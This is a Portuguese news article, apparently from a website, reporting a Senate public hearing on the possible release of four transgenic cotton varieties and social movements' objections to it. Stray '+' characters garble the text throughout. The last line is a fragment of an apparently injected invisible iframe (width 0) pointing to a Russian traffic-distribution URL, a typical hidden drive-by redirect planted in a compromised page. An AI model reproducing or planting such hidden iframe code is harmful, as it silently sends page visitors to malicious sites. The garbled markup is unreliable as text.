Debate sobre algodão transgênico agitou o Senado ontem [17]

Debate sobre algodão transgênico agitou o Senado ontem [17]
Compartilhe!

Movimentos+sociais apresentaram+ documento cobrando que o Semi-Árido seja uma zona livre de transgênicos


+
+
Cerca de 500 pessoas entre movimentos sociais, agricultores e agricultoras, pesquisadores e multinacionais debateram, ontem (17), em audiência pública, no Senado Federal, a+ possível+ liberação do plantio de quatro novas variedades de algodão transgênico produzidas pelas empresas Monsato, Bayer e Pioneer. A audiência foi convocada pela Comissão Técnica Nacional de Biossegurança (CTNBio), responsável pela liberação dos transgênicos no País.
+
Segundo o assessor técnico da ASP-TA, entidade que integra a Articulação no Semi-Árido Brasileiro (ASA), Gabriel Fernandes, as empresas levaram à plenária cerca de 400 produtores do Cerrado e do Norte de Minas uniformizados com camisas e bonés contendo o slogan+ Algodão Transgênico: Resgatando a Agricultura Familiar. +Isso é uma verdadeira contradição ,+ já que foram essas próprias empresas que impuseram aos agricultores os pacotes tecnológicos composto de sementes melhoradas, adubos químicos e agrotóxicos, pondo a agricultura familiar em risco+, ressaltou.
+
Um dos argumentos utilizado pelas empresas para liberação dessas variedades de algodão transgênico é de que os agricultores teriam menos custos na produção+,+ já que algumas delas têm em sua composição uma toxina chamada BT++ que ajuda a controlar as lagartas, minimizando o uso de pulverizador na área.
+
Algumas variedades também são resistentes a herbicidas, o que, num primeiro momento, parece ser positivo para os agricultores, mas, na prática, isso acabaria prejudicando toda a lavoura. +A produção do agricultor tem como característica o consórcio de cultivos onde ele planta numa mesma área diversas variedades de plantas para otimizar o terreno. Se ele usar herbicida, o algodão pode até resistir, mas ele vai matar as outras plantas?+, questionou o assessor da ASP-TA.
+
Em contraponto a o discursos das multinacionais, a Articulação no Semi-Árido Brasileiro e a Via Campesina leram e distribuíram com os participantes da audiência uma carta apresentando os riscos que o algodão transgênico representa para o Semi-Árido, entre eles, a contaminação do algodão nativo e do algodão agroecológico, que são essenciais para a conservação da biodiversidade e dos recursos genéticos daquela região. No documento,+ as duas redes também cobraram que o Semi-Árido seja uma zona livre de transgênico.
+
+A luta é difícil. Ela é desigual, mesmo porque essas empresas têm muita influência no Governo. Mas, a presença dos movimentos sociais foi importante pra mostrar os riscos dessas variedades de algodão transgênico; apontar as falhas da CTNBio e mostrar as nossas alternativas+, avaliou Gabriel Fernandes.
+
A audiência pública é um pré-requisito conquistado judicialmente pelos movimentos sociais antes da liberação comercial de qualquer produto geneticamente modificado. A aprovação das quatro variedades de algodão transgênico está nas mãos da CTNBio. Não existe prazo para liberação.+
+

rc=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ heig